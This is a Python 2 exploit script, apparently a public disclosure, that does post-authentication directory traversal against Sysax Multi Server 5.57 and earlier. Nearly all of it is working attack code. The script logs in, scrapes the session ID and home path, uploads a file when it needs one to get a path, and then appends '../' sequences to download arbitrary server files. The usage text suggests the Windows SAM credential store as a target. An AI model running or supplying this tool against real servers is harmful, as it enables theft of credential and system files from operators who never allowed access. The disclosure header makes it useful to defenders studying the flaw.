#!/usr/bin/python
##########################################################################################################
#Title: Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit
#Date Discovered: March 27, 2012
#Vendor Contacted: March 29, 2012
#Vendor Response: April 3, 2012 
#Vendor Fixed: (Currently working on fix, check my site for update)
#Details: http://www.pwnag3.com/2012/04/sysax-directory-traversal-exploit.html
##########################################################################################################

import socket,sys,time,re,base64,urllib

def main():
 #base64 encode the provided creds
 creds = base64.encodestring(user+"\x0a"+password)

 print "\n"
 print "****************************************************************************"
 print "       Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth)      "
 print "                  by @cd1zz www.pwnag3.com                          "
 print "         Getting "+getfile+" from " + target + " on port " + str(port)
 print "****************************************************************************"

 #setup post for login
 login = "POST /scgi?sid=0&pid=dologin HTTP/1.1\r\n"
 login += "Host: \r\n"
 login += "http://"+target+"/scgi?sid=0&pid=dologin\r\n"
 login += "Content-Type: application/x-www-form-urlencoded\r\n"
 login += "Content-Length: 15\r\n\r\n"
 login += "fd="+creds+"\n\n"

 #send post and login creds
 try:
  r = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  r.connect((target, port))
  print "[*] Logging in"
  r.send(login)
 except Exception, e:
  print "[-] Could not login"
  print e
 
 #loop the recv sock so we get the full page
 page = '' 
 fullpage = '' 
 while "</html>" not in fullpage:
  page = r.recv(4096)
  fullpage += page
 time.sleep(1)

 #regex the sid from the page
 global sid
 sid = re.search(r'sid=[a-zA-Z0-9]{40}',fullpage,re.M)
 if sid is None:
  print "[x] Could not login. User and pass correct?"
  sys.exit(1)
 time.sleep(1)

 #regex to find user's path
 print "[*] Finding your home path"
 global path
 path = re.search(r'file=[a-zA-Z]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
 time.sleep(1)

 #if that doesn't work, try to upload a file and check again
 if path is None:
  print "[-] No files found, I will try to upload one for you."
  print "[-] If you don't have rights to do this, it will fail."

  upload = "POST /scgi?"+str(sid.group(0))+"&pid=uploadfile_name1.htm HTTP/1.1\r\n"
  upload += "Host:\r\n"
  upload += "Content-Type: multipart/form-data; boundary=---------------------------97336096252362005297691620\r\n"
  upload += "Content-Length: 219\r\n\r\n"
  upload += "-----------------------------97336096252362005297691620\r\n"
  upload += "Content-Disposition: form-data; name=\"upload_file\"; filename=\"file.txt\"\r\n"
  upload += "Content-Type: text/plain\r\n"
  upload += "-----------------------------97336096252362005297691620--\r\n\r\n"

  u = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  u.connect((target, port))
  u.send(upload + "\r\n")
  page = ''
  fullpage = '' 
  while "</html>" not in fullpage:
   page = u.recv(4096)
   fullpage += page
  path = re.search(r'file=[a-zA-Z0-9]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
  time.sleep(2)
  if path is None:
   print "\n[x] It failed, you probably don't have rights to upload."
   print "[x] Please retry the script a few times."
   print "[x] You need at least one file in the directory because we need"
   print "[x] to append our directory traversal to the end of your path."
   sys.exit(1)
 print "[+] Got it => " + path.group(0)
 time.sleep(1)
 r.close()

def dirtrav():
 #here is the dir trav
 url = "http://"+target+"/scgi?"+str(sid.group(0))+"&"+path.group(0)+"../../../../../../../"+getfile
 try:
  retrieved_file = urllib.urlopen(url)
  filename = raw_input("[+] Got your file. What file name do you want to save it as?  ")
  output = open(filename,'wb')
  output.write(retrieved_file.read())
  output.close()
  print "[*] Done!"
 except Exception, e:
  print "[x] Either the file doesn't exist or you mistyped it. Error below:"
  print "[x] You can also try to browse this site manually:"
  print "[x] " + url
  print e

def keepgoing():
 cont = raw_input("[*] Do you want another file (y/n)? ")
 while cont == "y":
  global getfile
  getfile = raw_input("[*] Enter the location of the new file: ")
  dirtrav()
  cont = raw_input("[*] Do you want another file (y/n)? ")
 else:
  sys.exit(1)
 
if __name__ == '__main__':
 if len(sys.argv) != 6:
  print "[+] Usage: ./filename <Target IP> <Port> <User> <Password> <File>"
  print "[+] File examples => windows/repair/sam or boot.ini"
  sys.exit(1)

 target, port, user, password, getfile = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5]
 
 main()
 dirtrav()
 keepgoing()